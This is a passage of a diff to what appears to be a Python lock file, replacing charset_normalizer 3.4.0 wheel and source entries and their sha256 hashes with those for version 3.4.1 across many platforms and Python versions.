"sha256:b197e7094f232959f8f20541ead1d9862ac5ebea1d58e9849c1bf979255dfac9"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:dd4eda173a9fcccb5f2e2bd2a9f423d180194b1bf17cf59e3269899235b2a114"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e9e3c4c9e1ed40ea53acf11e2a386383c3304212c965773704e4603d589343ed"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:92a7e36b000bf022ef3dbb9c46bfe2d52c047d5e3f3343f43204263c5addc250"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54b6a92d009cbe2fb11054ba694bc9e284dad30a26757b1e372a1fdddaf21920"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ffd9493de4c922f2a38c2bf62b831dcec90ac673ed1ca182fe11b4d8e9f2a64"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:35c404d74c2926d0287fbd63ed5d27eb911eb9e4a3bb2c6d294f3cfd4a9e0c23"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4796efc4faf6b53a18e3d46343535caed491776a22af773f366534056c4e1fbc"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7fdd52961feb4c96507aa649550ec2a0d527c086d284749b2f582f2d40a2e0d"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:92db3c28b5b2a273346bebb24857fda45601aef6ae1c011c0a997106581e8a88"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ab973df98fc99ab39080bfb0eb3a925181454d7c3ac8a1e695fddfae696d9e90"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4b67fdab07fdd3c10bb21edab3cbfe8cf5696f453afce75d815d9d7223fbe88b"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:aa41e526a5d4a9dfcfbab0716c7e8a1b215abd3f3df5a45cf18a12721d31cb5d"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ffc519621dce0c767e96b9c53f09c5d215578e10b02c285809f76509a3931482"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-win32.whl", hash = "sha256:f19c1585933c82098c2a520f8ec1227f20e339e33aca8fa6f956f6691b784e67"}, - {file = "charset_normalizer-3.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:707b82d19e65c9bd28b81dde95249b07bf9f5b90ebe1ef17d9b57473f8a64b7b"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:dbe03226baf438ac4fda9e2d0715022fd579cb641c4cf639fa40d53b2fe6f3e2"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dd9a8bd8900e65504a305bf8ae6fa9fbc66de94178c420791d0293702fce2df7"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8831399554b92b72af5932cdbbd4ddc55c55f631bb13ff8fe4e6536a06c5c51"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a14969b8691f7998e74663b77b4c36c0337cb1df552da83d5c9004a93afdb574"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcaf7c1524c0542ee2fc82cc8ec337f7a9f7edee2532421ab200d2b920fc97cf"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:425c5f215d0eecee9a56cdb703203dda90423247421bf0d67125add85d0c4455"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:d5b054862739d276e09928de37c79ddeec42a6e1bfc55863be96a36ba22926f6"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:f3e73a4255342d4eb26ef6df01e3962e73aa29baa3124a8e824c5d3364a65748"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:2f6c34da58ea9c1a9515621f4d9ac379871a8f21168ba1b5e09d74250de5ad62"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:f09cb5a7bbe1ecae6e87901a2eb23e0256bb524a79ccc53eb0b7629fbe7677c4"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:0099d79bdfcf5c1f0c2c72f91516702ebf8b0b8ddd8905f97a8aecf49712c621"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-win32.whl", hash = "sha256:9c98230f5042f4945f957d006edccc2af1e03ed5e37ce7c373f00a5a4daa6149"}, - {file = "charset_normalizer-3.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:62f60aebecfc7f4b82e3f639a7d1433a20ec32824db2199a11ad4f5e146ef5ee"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:af73657b7a68211996527dbfeffbb0864e043d270580c5aef06dc4b659a4b578"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cab5d0b79d987c67f3b9e9c53f54a61360422a5a0bc075f43cab5621d530c3b6"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9289fd5dddcf57bab41d044f1756550f9e7cf0c8e373b8cdf0ce8773dc4bd417"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b493a043635eb376e50eedf7818f2f322eabbaa974e948bd8bdd29eb7ef2a51"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9fa2566ca27d67c86569e8c85297aaf413ffab85a8960500f12ea34ff98e4c41"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8e538f46104c815be19c975572d74afb53f29650ea2025bbfaef359d2de2f7f"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6fd30dc99682dc2c603c2b315bded2799019cea829f8bf57dc6b61efde6611c8"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2006769bd1640bdf4d5641c69a3d63b71b81445473cac5ded39740a226fa88ab"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dc15e99b2d8a656f8e666854404f1ba54765871104e50c8e9813af8a7db07f12"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:ab2e5bef076f5a235c3774b4f4028a680432cded7cad37bba0fd90d64b187d19"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:4ec9dd88a5b71abfc74e9df5ebe7921c35cbb3b641181a531ca65cdb5e8e4dea"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:43193c5cda5d612f247172016c4bb71251c784d7a4d9314677186a838ad34858"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:aa693779a8b50cd97570e5a0f343538a8dbd3e496fa5dcb87e29406ad0299654"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-win32.whl", hash = "sha256:7706f5850360ac01d80c89bcef1640683cc12ed87f42579dab6c5d3ed6888613"}, - {file = "charset_normalizer-3.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:c3e446d253bd88f6377260d07c895816ebf33ffffd56c1c792b13bff9c3e1ade"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:980b4f289d1d90ca5efcf07958d3eb38ed9c0b7676bf2831a54d4f66f9c27dfa"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f28f891ccd15c514a0981f3b9db9aa23d62fe1a99997512b0491d2ed323d229a"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8aacce6e2e1edcb6ac625fb0f8c3a9570ccc7bfba1f63419b3769ccf6a00ed0"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd7af3717683bea4c87acd8c0d3d5b44d56120b26fd3f8a692bdd2d5260c620a"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5ff2ed8194587faf56555927b3aa10e6fb69d931e33953943bc4f837dfee2242"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e91f541a85298cf35433bf66f3fab2a4a2cff05c127eeca4af174f6d497f0d4b"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309a7de0a0ff3040acaebb35ec45d18db4b28232f21998851cfa709eeff49d62"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:285e96d9d53422efc0d7a17c60e59f37fbf3dfa942073f666db4ac71e8d726d0"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5d447056e2ca60382d460a604b6302d8db69476fd2015c81e7c35417cfabe4cd"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:20587d20f557fe189b7947d8e7ec5afa110ccf72a3128d61a2a387c3313f46be"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:130272c698667a982a5d0e626851ceff662565379baf0ff2cc58067b81d4f11d"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:ab22fbd9765e6954bc0bcff24c25ff71dcbfdb185fcdaca49e81bac68fe724d3"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:7782afc9b6b42200f7362858f9e73b1f8316afb276d316336c0ec3bd73312742"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-win32.whl", hash = "sha256:2de62e8801ddfff069cd5c504ce3bc9672b23266597d4e4f50eda28846c322f2"}, - {file = "charset_normalizer-3.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:95c3c157765b031331dd4db3c775e58deaee050a3042fcad72cbc4189d7c8dca"}, - {file = "charset_normalizer-3.4.0-py3-none-any.whl", hash = "sha256:fe9f97feb71aa9896b81973a7bbada8c49501dc73e58a10fcef6663af95e5079"}, - {file = "charset_normalizer-3.4.0.tar.gz", hash = "sha256:223217c3d4f82c3ac5e29032b3f1c2eb0fb591b72161f86d93f5719079dae93e"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:91b36a978b5ae0ee86c394f5a54d6ef44db1de0815eb43de826d41d21e4af3de"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7461baadb4dc00fd9e0acbe254e3d7d2112e7f92ced2adc96e54ef6501c5f176"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e218488cd232553829be0664c2292d3af2eeeb94b32bea483cf79ac6a694e037"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80ed5e856eb7f30115aaf94e4a08114ccc8813e6ed1b5efa74f9f82e8509858f"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b010a7a4fd316c3c484d482922d13044979e78d1861f0e0650423144c616a46a"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4532bff1b8421fd0a320463030c7520f56a79c9024a4e88f01c537316019005a"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d973f03c0cb71c5ed99037b870f2be986c3c05e63622c017ea9816881d2dd247"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a3bd0dcd373514dcec91c411ddb9632c0d7d92aed7093b8c3bbb6d69ca74408"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d9c3cdf5390dcd29aa8056d13e8e99526cda0305acc038b96b30352aff5ff2bb"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2bdfe3ac2e1bbe5b59a1a63721eb3b95fc9b6817ae4a46debbb4e11f6232428d"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:eab677309cdb30d047996b36d34caeda1dc91149e4fdca0b1a039b3f79d9a807"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-win32.whl", hash = "sha256:c0429126cf75e16c4f0ad00ee0eae4242dc652290f940152ca8c75c3a4b6ee8f"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:9f0b8b1c6d84c8034a44893aba5e767bf9c7a211e313a9605d9c617d7083829f"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:8bfa33f4f2672964266e940dd22a195989ba31669bd84629f05fab3ef4e2d125"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28bf57629c75e810b6ae989f03c0828d64d6b26a5e205535585f96093e405ed1"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f08ff5e948271dc7e18a35641d2f11a4cd8dfd5634f55228b691e62b37125eb3"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:234ac59ea147c59ee4da87a0c0f098e9c8d169f4dc2a159ef720f1a61bbe27cd"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd4ec41f914fa74ad1b8304bbc634b3de73d2a0889bd32076342a573e0779e00"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eea6ee1db730b3483adf394ea72f808b6e18cf3cb6454b4d86e04fa8c4327a12"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c96836c97b1238e9c9e3fe90844c947d5afbf4f4c92762679acfe19927d81d77"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4d86f7aff21ee58f26dcf5ae81a9addbd914115cdebcbb2217e4f0ed8982e146"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:09b5e6733cbd160dcc09589227187e242a30a49ca5cefa5a7edd3f9d19ed53fd"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5777ee0881f9499ed0f71cc82cf873d9a0ca8af166dfa0af8ec4e675b7df48e6"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:237bdbe6159cff53b4f24f397d43c6336c6b0b42affbe857970cefbb620911c8"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-win32.whl", hash = "sha256:8417cb1f36cc0bc7eaba8ccb0e04d55f0ee52df06df3ad55259b9a323555fc8b"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:d7f50a1f8c450f3925cb367d011448c39239bb3eb4117c36a6d354794de4ce76"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:73d94b58ec7fecbc7366247d3b0b10a21681004153238750bb67bd9012414545"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dad3e487649f498dd991eeb901125411559b22e8d7ab25d3aeb1af367df5efd7"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c30197aa96e8eed02200a83fba2657b4c3acd0f0aa4bdc9f6c1af8e8962e0757"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2369eea1ee4a7610a860d88f268eb39b95cb588acd7235e02fd5a5601773d4fa"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc2722592d8998c870fa4e290c2eec2c1569b87fe58618e67d38b4665dfa680d"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffc9202a29ab3920fa812879e95a9e78b2465fd10be7fcbd042899695d75e616"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:804a4d582ba6e5b747c625bf1255e6b1507465494a40a2130978bda7b932c90b"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f55e69f030f7163dffe9fd0752b32f070566451afe180f99dbeeb81f511ad8d"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c4c3e6da02df6fa1410a7680bd3f63d4f710232d3139089536310d027950696a"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:5df196eb874dae23dcfb968c83d4f8fdccb333330fe1fc278ac5ceeb101003a9"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e358e64305fe12299a08e08978f51fc21fac060dcfcddd95453eabe5b93ed0e1"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-win32.whl", hash = "sha256:9b23ca7ef998bc739bf6ffc077c2116917eabcc901f88da1b9856b210ef63f35"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ff8a4a60c227ad87030d76e99cd1698345d4491638dfa6673027c48b3cd395f"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30bf9fd9be89ecb2360c7d94a711f00c09b976258846efe40db3d05828e8089"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:97f68b8d6831127e4787ad15e6757232e14e12060bec17091b85eb1486b91d8d"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7974a0b5ecd505609e3b19742b60cee7aa2aa2fb3151bc917e6e2646d7667dcf"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc54db6c8593ef7d4b2a331b58653356cf04f67c960f584edb7c3d8c97e8f39e"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:311f30128d7d333eebd7896965bfcfbd0065f1716ec92bd5638d7748eb6f936a"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:7d053096f67cd1241601111b698f5cad775f97ab25d81567d3f59219b5f1adbd"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:807f52c1f798eef6cf26beb819eeb8819b1622ddfeef9d0977a8502d4db6d534"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:dccbe65bd2f7f7ec22c4ff99ed56faa1e9f785482b9bbd7c717e26fd723a1d1e"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:2fb9bd477fdea8684f78791a6de97a953c51831ee2981f8e4f583ff3b9d9687e"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:01732659ba9b5b873fc117534143e4feefecf3b2078b0a6a2e925271bb6f4cfa"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-win32.whl", hash = "sha256:7a4f97a081603d2050bfaffdefa5b02a9ec823f8348a572e39032caa8404a487"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:7b1bef6280950ee6c177b326508f86cad7ad4dff12454483b51d8b7d673a2c5d"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ecddf25bee22fe4fe3737a399d0d177d72bc22be6913acfab364b40bce1ba83c"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c60ca7339acd497a55b0ea5d506b2a2612afb2826560416f6894e8b5770d4a9"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b7b2d86dd06bfc2ade3312a83a5c364c7ec2e3498f8734282c6c3d4b07b346b8"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd78cfcda14a1ef52584dbb008f7ac81c1328c0f58184bf9a84c49c605002da6"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e27f48bcd0957c6d4cb9d6fa6b61d192d0b13d5ef563e5f2ae35feafc0d179c"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01ad647cdd609225c5350561d084b42ddf732f4eeefe6e678765636791e78b9a"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:619a609aa74ae43d90ed2e89bdd784765de0a25ca761b93e196d938b8fd1dbbd"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:89149166622f4db9b4b6a449256291dc87a99ee53151c74cbd82a53c8c2f6ccd"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:7709f51f5f7c853f0fb938bcd3bc59cdfdc5203635ffd18bf354f6967ea0f824"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:345b0426edd4e18138d6528aed636de7a9ed169b4aaf9d61a8c19e39d26838ca"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:0907f11d019260cdc3f94fbdb23ff9125f6b5d1039b76003b5b0ac9d6a6c9d5b"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-win32.whl", hash = "sha256:ea0d8d539afa5eb2728aa1932a988a9a7af94f18582ffae4bc10b3fbdad0626e"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:329ce159e82018d646c7ac45b01a430369d526569ec08516081727a20e9e4af4"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b97e690a2118911e39b4042088092771b4ae3fc3aa86518f84b8cf6888dbdb41"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78baa6d91634dfb69ec52a463534bc0df05dbd546209b79a3880a34487f4b84f"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1a2bc9f351a75ef49d664206d51f8e5ede9da246602dc2d2726837620ea034b2"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75832c08354f595c760a804588b9357d34ec00ba1c940c15e31e96d902093770"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0af291f4fe114be0280cdd29d533696a77b5b49cfde5467176ecab32353395c4"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0167ddc8ab6508fe81860a57dd472b2ef4060e8d378f0cc555707126830f2537"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2a75d49014d118e4198bcee5ee0a6f25856b29b12dbf7cd012791f8a6cc5c496"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363e2f92b0f0174b2f8238240a1a30142e3db7b957a5dd5689b0e75fb717cc78"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:ab36c8eb7e454e34e60eb55ca5d241a5d18b2c6244f6827a30e451c42410b5f7"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4c0907b1928a36d5a998d72d64d8eaa7244989f7aaaf947500d3a800c83a3fd6"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = 